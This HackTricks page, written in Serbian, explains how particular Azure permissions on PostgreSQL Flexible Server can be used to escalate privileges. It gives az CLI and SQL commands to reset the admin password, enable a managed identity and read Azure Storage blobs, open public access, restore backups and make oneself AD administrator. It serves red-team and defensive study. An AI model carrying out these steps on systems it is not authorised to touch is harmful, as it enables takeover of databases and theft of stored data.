Az - PostgreSQL Privesc

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

PostgreSQL Privesc

Za više informacija o SQL bazi podataka, proverite:

Az - PostgreSQL

Microsoft.DBforPostgreSQL/flexibleServers/read && Microsoft.DBforPostgreSQL/flexibleServers/write

Sa ovom dozvolom, možete kreirati, ažurirati ili brisati PostgreSQL Flexible Server instance na Azure-u. Ovo uključuje obezbeđivanje novih servera, modifikovanje postojećih konfiguracija servera ili ukidanje servera.

bash
az postgres flexible-server create \
--name <ServerName> \
--resource-group <ResourceGroupName> \
--location <Location> \
--admin-user <AdminUsername> \
--admin-password <AdminPassword> \
--sku-name <SkuName> \
--storage-size <StorageSizeInGB> \
--tier <PricingTier> \
--version <PostgreSQLVersion>

Na primer, ova dozvola omogućava promenu PostgreSQL lozinke, što je korisno, naravno, u slučaju da je PostgreSQL autentifikacija omogućena.

bash
az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>

Pored toga, sa dozvolama možete omogućiti dodeljenu identitet, i raditi sa upravljanim identitetom koji je povezan sa serverom. Ovde možete pronaći sve ekstenzije koje Azure PostgreSQL fleksibilni server podržava https://learn.microsoft.com/en-us/azure/cosmos-db/postgresql/reference-extensions. Da biste mogli da koristite ove ekstenzije, neki parametri servera (azure.extensions) treba da budu promenjeni. Na primer, ovde sa upravljanim identitetom koji može da pristupi Azure Storage:

Prvo menjamo parametre i osiguravamo da je dodeljeni identitet omogućen:

bash
az postgres flexible-server parameter set \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--name azure.extensions \
--value "AZURE_STORAGE"

az postgres flexible-server identity update \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--system-assigned Enabled
sql

CREATE EXTENSION IF NOT EXISTS azure_storage;

CREATE EXTERNAL DATA SOURCE ManagedIdentity

SELECT azure_storage.account_add('<storage-account>', '<storage-key>');

SELECT *
FROM azure_storage.blob_get(
'<storage-account>',
'<container>',
'message.txt',
decoder := 'text'
) AS t(content text)
LIMIT 1;

Dodatno, potrebno je omogućiti javni pristup ako želite da pristupite sa neprivatnog krajnjeg tačke, da biste to omogućili:

bash
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled

Microsoft.DBforPostgreSQL/flexibleServers/read, Microsoft.DBforPostgreSQL/flexibleServers/write, Microsoft.DBforPostgreSQL/flexibleServers/backups/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Sa ovim dozvolama možete obnoviti server iz rezervne kopije sa:

bash
az postgres flexible-server restore \
--resource-group <RESOURCE_GROUP> \
--name <NEW_SERVER_NAME> \
--source-server <SOURCE_SERVER_NAME> \
--restore-time "<ISO8601_TIMESTAMP>" \
--yes

Microsoft.DBforPostgreSQL/flexibleServers/read, Microsoft.DBforPostgreSQL/flexibleServers/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.DBforPostgreSQL/flexibleServers/administrators/write && Microsoft.DBforPostgreSQL/flexibleServers/administrators/read

Sa ovom dozvolom, možete konfigurisati Azure Active Directory (AD) administratore za PostgreSQL Flexible Server. Ovo se može iskoristiti postavljanjem sebe ili drugog naloga kao AD administratora, čime se dodeljuje potpuna administrativna kontrola nad PostgreSQL serverom. Ažuriranje postojećeg principala još nije podržano, tako da ako je jedan kreiran, morate ga prvo obrisati.

Važno je da fleksibilni server ima dodeljene korisničke upravljane identitete za korišćenje.

bash
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--display-name <ADAdminDisplayName> \
--identity <IdentityNameOrID> \
--object-id <ObjectID>

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks